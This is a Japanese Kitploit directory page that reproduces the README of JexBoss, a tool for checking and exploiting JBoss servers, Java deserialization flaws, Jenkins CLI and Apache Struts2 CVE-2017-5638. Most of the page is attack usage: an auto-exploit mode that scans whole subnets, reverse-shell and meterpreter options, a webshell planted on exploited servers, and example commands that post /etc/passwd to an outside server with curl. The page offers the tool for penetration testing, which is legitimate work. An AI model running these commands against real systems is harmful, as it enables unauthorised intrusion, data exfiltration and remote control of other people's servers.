Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
jexboss — JexBoss: Jboss(およびJavaデシリアライゼーションの脆弱性)の検証と悪用ツール | Kitploit
ツール/GitHubGitHub/joaomatosf/jexboss
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubjoaomatosf/jexboss

jexboss

JexBoss: Jboss(およびJavaデシリアライゼーションの脆弱性)の検証と悪用ツール

リポジトリを見る
2.5k64089年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

JexBoss - JBoss (およびその他のJavaデシリアライゼーション脆弱性) 検証および悪用ツール

JexBossは、JBoss Application Serverやその他のJavaプラットフォーム、フレームワーク、アプリケーションなどの脆弱性をテストし、悪用するためのツールです。

必要条件

  • Python >= 2.7.x
  • urllib3
  • ipaddress

Linux\Mac へのインストール

JexBossの最新バージョンをインストールするには、以下のコマンドを使用してください。

root@kitploit:~
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

または:

最新バージョンを https://github.com/joaomatosf/jexboss/archive/master.zip からダウンロード
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

CentOSでPython 2.6を使用している場合は、Python2.7をインストールしてください。 Collections Software sclを使用したCentOSへのPython 2.7のインストール例:

root@kitploit:~
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Windows へのインストール

Windowsを使用している場合、Git Bash を使用してJexBossを実行できます。以下の手順に従ってください。

  • Python をダウンロードしてインストール
  • Git for Windows をダウンロードしてインストール
  • インストール後、Git for Windowsを起動し、以下のコマンドを入力します:
root@kitploit:~
    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

機能

このツールとエクスプロイトは以下に対して開発・テストされています。

  • JBoss Application Server バージョン: 3, 4, 5, 6
  • 複数のJavaフレームワーク、プラットフォーム、アプリケーションにおけるJavaデシリアライゼーション脆弱性(例: Java Server Faces - JSF、Seam Framework、RMI over HTTP、Jenkins CLI RCE (CVE-2015-5317)、Remote JMX (CVE-2016-3427, CVE-2016-8735)など)

悪用ベクターは以下の通りです:

  • /admin-console
    • JBossバージョン5および6でテスト済み、動作確認済み
  • /jmx-console
    • JBossバージョン4、5、6でテスト済み、動作確認済み
  • /web-console/Invoker
    • JBossバージョン4、5、6でテスト済み、動作確認済み
  • /invoker/JMXInvokerServlet
    • JBossバージョン4、5、6でテスト済み、動作確認済み
  • アプリケーションデシリアライゼーション
    • HTTP POSTパラメータを介して、複数のJavaアプリケーション、プラットフォームなどに対してテスト済み、動作確認済み
  • サーブレットデシリアライゼーション
    • シリアライズオブジェクトを処理するサーブレット(例: リンクに「Invoker」が表示される場合)を介して、複数のJavaアプリケーション、プラットフォームなどに対してテスト済み、動作確認済み
  • Apache Struts2 CVE-2017-5638
    • Apache Struts 2アプリケーションでテスト済み
  • その他

動画

  • JexBossを使用したJSF/Seamアプリケーションにおけるjavax.faces.ViewStateを介したJavaデシリアライゼーション脆弱性(RCE)の悪用

Alt text

  • JexBossを使用したJBoss Application Serverの悪用

Alt text

  • JexBossを使用したApache Struts2(RCE)の悪用(CVE-2017-5638)

Alt text

スクリーンショット

  • 簡単な使用例:
root@kitploit:~
$ python jexboss.py

alt tag

  • JBossに対するスタンドアロンモードの例:
root@kitploit:~
$ python jexboss.py -u http://192.168.0.26:8080

alt tag alt tag

  • 使用モード:
root@kitploit:~
$ python jexboss.py -h
  • ネットワークスキャンモード:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • 自動悪用モード付きネットワークスキャン:
root@kitploit:~
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • 結果と推奨事項:

alt tag

リバースシェル(meterpreter統合)

JBossサーバーを悪用した後、jexbossの独自コマンドシェルを使用するか、以下のコマンドを使用してリバース接続を実行できます:

root@kitploit:~
   jexremote=YOUR_IP:YOUR_PORT

   例:
     Shell>jexremote=192.168.0.10:4444
  • 例: alt tag

Javaデシリアライゼーション脆弱性(アプリケーションデシリアライゼーション、サーブレットデシリアライゼーション)を悪用する場合、デフォルトのオプションはリバースシェル接続を行うか、実行するコマンドを送信することです。

使用例

  • カスタムHTTPパラメータにおけるJavaデシリアライゼーション脆弱性に対して、悪用されたサーバーで実行するカスタムコマンドを送信する場合:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
  • カスタムHTTPパラメータにおけるJavaデシリアライゼーション脆弱性に対して、リバースシェルを作成する場合(リモートホストのIPアドレスとポートを尋ねられます):
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
  • サーブレット(Invokerなど)におけるJavaデシリアライゼーション脆弱性の場合:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
  • Apache Struts 2(CVE-2017-5638)の場合:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
  • 認証が必要なリソース向けクッキー付きのApache Struts 2(CVE-2017-5638)の場合:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
  • 自動スキャンモード:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
  • ファイルスキャンモード:
root@kitploit:~
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
  • その他のオプション:
root@kitploit:~
optional arguments:
  -h, --help            このヘルプメッセージを表示して終了
  --version             プログラムのバージョン番号を表示して終了
  --auto-exploit, -A    エクスプロイトコードを自動送信(許可がある場合のみ使用してください!!!)
  --disable-check-updates, -D
                        2つの更新チェックを無効にする: 1) 悪用されたサーバー上のwebshellによる http://webshell.jexboss.net/jsp_version.txt の更新チェック、2) jexbossクライアントによる http://joaomatosf.com/rnp/releases.txt の更新チェック
  -mode {standalone,auto-scan,file-scan}
                        動作モード(デフォルト: standalone)
  --app-unserialize, -j HTTPパラメータ(例: javax.faces.ViewState、oldFormDataなど)におけるJavaデシリアライゼーション脆弱性をチェック
  --servlet-unserialize, -l
                        サーブレット(Invokerインターフェースなど)におけるJavaデシリアライゼーション脆弱性をチェック
  --jboss              JBOSSベクターのみチェック
  --jenkins            Jenkins CLIベクターのみチェック
  --jmxtomcat          TomcatのJMX JmxRemoteLifecycleListenerをチェック(CVE-2016-8735およびCVE-2016-8735)。注意: デフォルトではチェックされません。
  --proxy PROXY, -P PROXY
                        ターゲットURLへの接続にHTTPプロキシを使用(例: -P http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        プロキシ認証資格情報(例: -L name:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        JBoss 5およびJBoss 6のadmin-consoleエクスプロイト用のJBossログインとパスワード(デフォルト: admin:admin)
  --timeout TIMEOUT     タイムアウト接続までの待機秒数(デフォルト 3)

スタンドアロンモード:
  -host HOST, -u HOST   チェックするホストアドレス(例: -u http://192.168.0.10:8080)

詳細オプション(アプリケーション層でのJavaデシリアライゼーション悪用時に使用):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        アプリケーション層でのJavaデシリアライゼーション脆弱性悪用時のリバースシェル用リモートホストアドレスとポート(現在、*nixシステムでのみ動作)(例: 192.168.0.10:1331)
  --cmd CMD, -x CMD     ターゲットで実行する特定のコマンドを送信(例: curl -d @/etc/passwd http://your_server)
  --windows, -w         コマンドがWINDOWSシステム用であることを指定(cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        シリアライズオブジェクトを見つけて注入するパラメータを指定(例: -H javax.faces.ViewState または -H oldFormData(<- Hi PayPal =X)など)(デフォルト: javax.faces.ViewState)
  --show-payload, -t    生成されたペイロードを表示
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        ペイロードを自動生成するガジェットの種類を指定(デフォルト: commons-collections3.1、JenKinsの場合はgroovy1)
  --load-gadget FILENAME
                        ファイルから独自のガジェットを提供(RAWモードのJavaシリアライズオブジェクト)
  --force, -F           -uパラメータで指定されたURLにJavaシリアライズガジェットを強制的に送信。このオプションは、ペイロードを複数の形式(例: RAW、GZIPED、BASE64)および異なるContent-Typeで送信します。

自動スキャンモード:
  -network NETWORK      CIDR形式でチェックするネットワーク(例: 10.0.0.0/8)
  -ports PORTS          各ホストに対してチェックするポートのカンマ区切りリスト(例: 8080,8443,8888,80,443)
  -results FILENAME     自動スキャン結果を保存するファイル名

ファイルスキャンモード:
  -file FILENAME_HOSTS  スキャンするホストリストを含むファイル名(1行に1ホスト)
  -out FILENAME_RESULTS ファイルスキャン結果を保存するファイル名

質問、問題、提案など:

  • [email protected]
ツールをダウンロード